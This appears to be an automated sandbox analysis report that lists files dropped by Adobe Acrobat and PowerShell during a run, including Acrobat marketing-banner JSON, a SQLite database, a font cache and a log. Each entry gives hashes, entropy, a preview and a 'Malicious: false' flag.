SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJfBoTfXpnrPeUkwRe9:YvXKXQ2Zc0vF0GWTfXcUkee9
MD5:	00B1F37AB7C77A6C0F4754892D47F0BB
SHA1:	444C6AA82BF7935E2E350FDBD218D4819D438DBF
SHA-256:	F2EDC1A7EAADB7F85776BAF1245A5278AE14D7E839B6553BC723C25FBCDC997D
SHA-512:	3474C563FFA65F4EEC44F76A1C6D19F8F4A95A30B3B2F6DEF6304991FC195150B8CF4EFACB518168C55A18260DBC5372BCC40D5656E85618730409FFC6FA5777
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299756900134922
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJfBD2G6UpnrPeUkwRe9:YvXKXQ2Zc0vF0GR22cUkee9
MD5:	FDFC0A12741552D450F60C843B77EE61
SHA1:	D3E282A44242B4DDCFF7A487CF02A7CAECDC594A
SHA-256:	42101CB405B54714E7715EDF7A087A50253EC7F122081577DA66CD66FA274EE6
SHA-512:	9D82D49157C1C2EDD29BD0791A605B9CF8339760B2D21777E56F9ED192FA54F5552D60EA8DB71CC10CDEFEF7C21A25452F1B7271DC0143F303F05293BA8DB80D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3607305383771235
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJfPmwrPeUkwRe9:YvXKXQ2Zc0vF0GH56Ukee9
MD5:	4E1F974F18B6E133A7DB9D6B3871E593
SHA1:	9FAFCDD4232684AAC552F80210B62A704C367F5B
SHA-256:	45F2DFA77A5FD39C23E8C420B338E67E20609516A5B111E770251E34650AA136
SHA-512:	222608567816288DC4E26B6958BB2E6E87FAF2D935F3E58E377E7EE72B00BD5A4E92BC85E54C6F459B72BB0EBBD655D05B807233516ADA538F140136B3DAB876
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690120379103436
Encrypted:	false
SSDEEP:	24:Yv6XQ2zvnpLgE9cQx8LennAvzBvkn0RCmK8czOCCSg:YvNu/hgy6SAFv5Ah8cv/g
MD5:	F68D2C482BE6CBD6723502254B67D25B
SHA1:	782D632AA43956DB8468054036025A201AA532F8
SHA-256:	E85C78C6D16DD583781EE560046E24F7D394B1C64ED614A2F718B0C98D2216EB
SHA-512:	879135CAFA85AF16197FCC6B2F22FBB92732257BC7D39529A6D940DF0130C4FD235BC002E09D6052653D1B78EE5AFDBBFA636BE6E36AAD0F7BDA50269FECA45E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310437481788525
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJf8dPeUkwRe9:YvXKXQ2Zc0vF0GU8Ukee9
MD5:	33A03453DB2864BAB518B6321F65AB7B
SHA1:	4D4D308A96C1E1ACB6E5CAE36EF0C9F1DB2880BC
SHA-256:	F84B1680E8A3CD7CBDC3483945F180D216A7CEADA9D08312BBFC41D5DDD71D13
SHA-512:	0EB1E606465EA9028CF850BE09291AA73D9107D1BFC5982D79C481631FC071728E63EAB7BEA7410FC5FB711A42CE946A74E96B7B7AE16BE6150F4F5A95E0216E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3139218856294725
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJfQ1rPeUkwRe9:YvXKXQ2Zc0vF0GY16Ukee9
MD5:	81ABCBB703EA3A3000F240F945E57DB0
SHA1:	338C58AC9E95688279C89E31C09A1D0DBDDC7E15
SHA-256:	5687AA212DB90F698B8C44ED1182321902811417D6C85995BBAC1B1565E3FB29
SHA-512:	AE348985752F926639DDDF333263C6DE5D1C02970BE34D5BD7DC6EC7E4CF10C155DF2CD45E62799225FBD0CFB5423E76B7E5E754F385CCC26388A98DE69CEECC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.321507040281263
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJfFldPeUkwRe9:YvXKXQ2Zc0vF0Gz8Ukee9
MD5:	AFE71AD6DEAE044BAAB977FD9251F616
SHA1:	DAB14ED707CCE24E60F97B2F9E4E4DF97E38D33F
SHA-256:	5C9493D193E40CCF18CDB3C0312AEABA7EF7FE9E193A0C915BACD20D993DC4C1
SHA-512:	F8DEC0178E59693C7C8E65971DBB7D7E62BA48AC98C57864BDFB0584F3516431A9242E245E05B9BED468E1EB9541A0F1C177BC7B31028DDED47E7BB284A443CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3355423104289965
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJfzdPeUkwRe9:YvXKXQ2Zc0vF0Gb8Ukee9
MD5:	49A8AC1FF88E4B216324023E382FF012
SHA1:	0EB85BE26371D40AB242AF888980EF9124A7F3E3
SHA-256:	3C32E4A3E2576DB67B89C22F41060A2C73E235D730E4A04B0D9F98DC225E1168
SHA-512:	3CFAB84AF6C2C29D8EEFD0E6F9686A638498326F145FCDB2C49BECD15EB2C8595E1F29B90F35CCAF27A5CE641340D97250DD1C66F6B9270FDC3C00863B88B2FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316228124876083
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJfYdPeUkwRe9:YvXKXQ2Zc0vF0Gg8Ukee9
MD5:	57D2D9DFA368AA631E0A8CBC910C7166
SHA1:	72D15BD3005F33E415A6D49A1A19C5D10A1ABB08
SHA-256:	508110BD18441594742CCBE9EF6700DF949C755763B6ED4C3882035B488FDF49
SHA-512:	6F1A6F79A37089EE9CF23153B7D1D58B2E96438317072E62845DACE538A3039BFA66F36D501713A3EBCCC53B5F94AE4F1432697B42063EB4FE777B7C74F4A11A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.302863195050472
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJf+dPeUkwRe9:YvXKXQ2Zc0vF0G28Ukee9
MD5:	1F669FD117719BC5D8AE362FFCA9FF84
SHA1:	C0784F20BCCC8F0A4D58F4580D92A6B4FF4549D1
SHA-256:	FC30BB0D59F8B62B80B64FD90F3ADA83A1D69F7CC776F38DEAA406F95C6237AE
SHA-512:	F4A101DDB44AE09D759810398E3DC1D15CE3DF8CC5646CC4308F7357B60FE555D6D3482E74183877BACCC2F3592976736D78214C346727FFE8FAC20A6D55D247
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.299663689045644
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJfbPtdPeUkwRe9:YvXKXQ2Zc0vF0GDV8Ukee9
MD5:	7E60F7BAD8CBEFA50612C3EDDD68396B
SHA1:	0A87E1423D1F2CA8BFC1D5F972C5BD29826284A6
SHA-256:	FA86D01983C54EBDE4CFF8C86FDE598626F255E8BB8C8265075BA9639E50E5B8
SHA-512:	79F5E6A9ED8772AC0D327C833BBEB8721869E8E663367BEE3E3286AB43F3A42D4CC56930C40030B3F483F4102FE6E578EF062B5611287AAF1284EF879B390D96
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.30422538255331
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJf21rPeUkwRe9:YvXKXQ2Zc0vF0G+16Ukee9
MD5:	C8BC3785D98016C6D32C4A8EA32FC2A5
SHA1:	A6D3B0EF47C4316DFFE8A138471F6BAFF8754DA5
SHA-256:	0019868B16A3C37B33B4B5B5E012967764A404E0DFB6AEA29B857C3BE8675B7A
SHA-512:	CFFE87B52D06C34F31A2ADC1EBD78A0D65DC5FD269664446A79998E42623C486AD9574E46FB072BBF92BDACED86AA9FF05769992931E198F674FC4B5782E276E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663602161033267
Encrypted:	false
SSDEEP:	24:Yv6XQ2zvfamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSz:YvNu/BgkDMUJUAh8cvMz
MD5:	AB6817A0B4C242942C74AB34D9E8FE69
SHA1:	21D0776FED3B515663F66EE4C26C50778B716F8F
SHA-256:	C456B14D67A1B0DBB8C15E5C0A74BDA459F36F2FFE6475FAFA40F50AD28FD44D
SHA-512:	D3F890812CEB9C1D99BD85FB1310A4D813E188A20928C9C56E2C30DDC57858AE9C4D21EBA800B22986CFD0EC6BD5DF56C7986E6FAC7C16B45AC440577814E8CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.282528533078173
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJfshHHrPeUkwRe9:YvXKXQ2Zc0vF0GUUUkee9
MD5:	B2E8F46DAA95D12C754ECC4ED4927A13
SHA1:	21C77ECF7C870A985B2356A4B13441F5BC663F33
SHA-256:	0EDB3EEA7963E4A7CD93B5A1120130999768AC109256142E0063943A5DBA2E29
SHA-512:	541ACABDB7745D1CBF454AE17095388313CF1DC93C2DC1697C00555B23415C10E858D34F8752D22F14190F3531ECDC270F37161DAD460A65CED5D455D3B0F428
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.280681974922411
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJTqgFCrPeUkwRe9:YvXKXQ2Zc0vF0GTq16Ukee9
MD5:	F937E8B25FFD35C468D57B6BFA5AC758
SHA1:	1D9434B3E392663B853B058CD3E73EFF86A11053
SHA-256:	5080090C4760759EF7027DB2A98F81AC2D31C4F10CE71646FEEE59556BAF56AF
SHA-512:	49F9398C73F8B3DBFD3344FFEAC6973CD3B5FA8C0D464F06E8B1649128BF58DFBECC8428652BF046EC435EBA7F4C8EAAEEC2361D4048CBA82391C6CD6BA7FC89
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133172133357556
Encrypted:	false
SSDEEP:	24:YHlB1laxnm3ay8ivVdEk8qMlTHmivnj42Usj0SV1N2aR2LSPCKQpWZ6I8vCM6+5u:Y70mtrE33p/W+JDR1KWZH8v9PI9b
MD5:	1EAACE472D694BB5DD177859CAC22FB1
SHA1:	40FB2F66BE8A922F3AAD3F1FA9F0F2097BB8B0A6
SHA-256:	A93C830A3BF63CC6CCBFA735E81147ED985B4A131A17BCAB7CBAFF3319FF3C84
SHA-512:	45A136EE0F3C77E8EC3D3E2FEAD75EE1C8586F997EE2A16EC781874ABFC112E528A468ACD4D216ECEAECA7E2E9F3F9C7385FCE4DBC3E51EA260042F3FED11742
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2b6c6a3e8e8198469f13536724ae93ae","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736531901000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"63c930a49280f3754a0026b3749dfe85","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736531901000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"444cd03d7876f43d97d2942baec82179","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736531901000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"48cf5377e070f2246a5d39214477e8e3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736531901000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"2c8cf2b389a2a9a0ceac2fb273824079","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736531901000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2fd0ad2147cb38f81f91231fc4e8a8c1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.186783913042578
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUgHoSvR9H9vxFGiDIAEkGVvpUHG:lNVmswUUUUUUUUB+FGSItl
MD5:	DCE034EFAD3BAA772F27BFF27DE25AE6
SHA1:	F7523E99B3DF70E20F9D804F5399FC77E571F1D1
SHA-256:	3692E3A98EAB6F6CD9F1B255B635C413764FE4713CB2038C09AA9D439D60AA38
SHA-512:	6124A16F03BAC21130D79CC36F009BC93372D2870F8FFBE43F0035F0805BEEC29CD58E01907F63D9C823FFBD3F9567CE3FB35D563EF2F029A9E4DC21F5E8643C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6054858116926003
Encrypted:	false
SSDEEP:	48:7MXKUUUUUUUUUUgHqvR9H9vxFGiDIAEkGVvwqFl2GL7msL:7xUUUUUUUUUUtFGSItaKVmsL
MD5:	F17E1E7838399C4F2C7534A32D5DE525
SHA1:	44075A820F8F2C2C97D212A9FB751CD9516E11AA
SHA-256:	957A60C9550C22BCAC8EDD648C0950951E13C9872744C8807CC23E151602813C
SHA-512:	0CA3AF77D0FF34023C2EEDB55769A423D0EC59B933ECAEE242AA691B69B8B4A3421ACF60F25AB977C4969CD4F1D98E8DFB8CC909D89CE08F7E1E82E93F7D5614
Malicious:	false
Preview:	.... .c......y(<......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEghA1huZCcz3iDS7kKbrnLuD1gYyu:6a6TZ44ADEhwhuZCw3i0SyK
MD5:	3B9EF094F07C1635282C517DDCCAAE1D
SHA1:	36CA9ED86F3FA003F5A77DCCDEC3865F9DFB52A5
SHA-256:	3D0A1F4E9C0BD80F6F7CCA41772CC87FAD12D7507B3F2B2F3F97D1768F1CBB90
SHA-512:	9D1E1D90B8EF808B18A9C1FA4CBDA5480961EE3127E0A249E568E8AA17889161CA9F100FA597977932E03CAD62767ABC29A8F09E4D8BC5F7ED7F42083863011C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa4463.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.493870954423123
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3Cl8NlH:Qw946cPbiOxDlbYnuRK+bD3Cl09
MD5:	CD55D73FFFC30FD0D5E50EF0A4E40B0A
SHA1:	F72840655C240A72823F6C9D733B8A44A6610FF2
SHA-256:	C4EFEDB76F2B76CBD0BCBB220569F63BEEDA70620F1156BA86BED11403FE80FA
SHA-512:	B1A39E7F32D05399CAC52A0327FA7DE7A140F6056A8DD6C89DCC892866079899E33F5C31BA104A44A0C7E3C8FCA01C0EC02A419FC145774C41528F26DDBB7D94
Malicious:	false
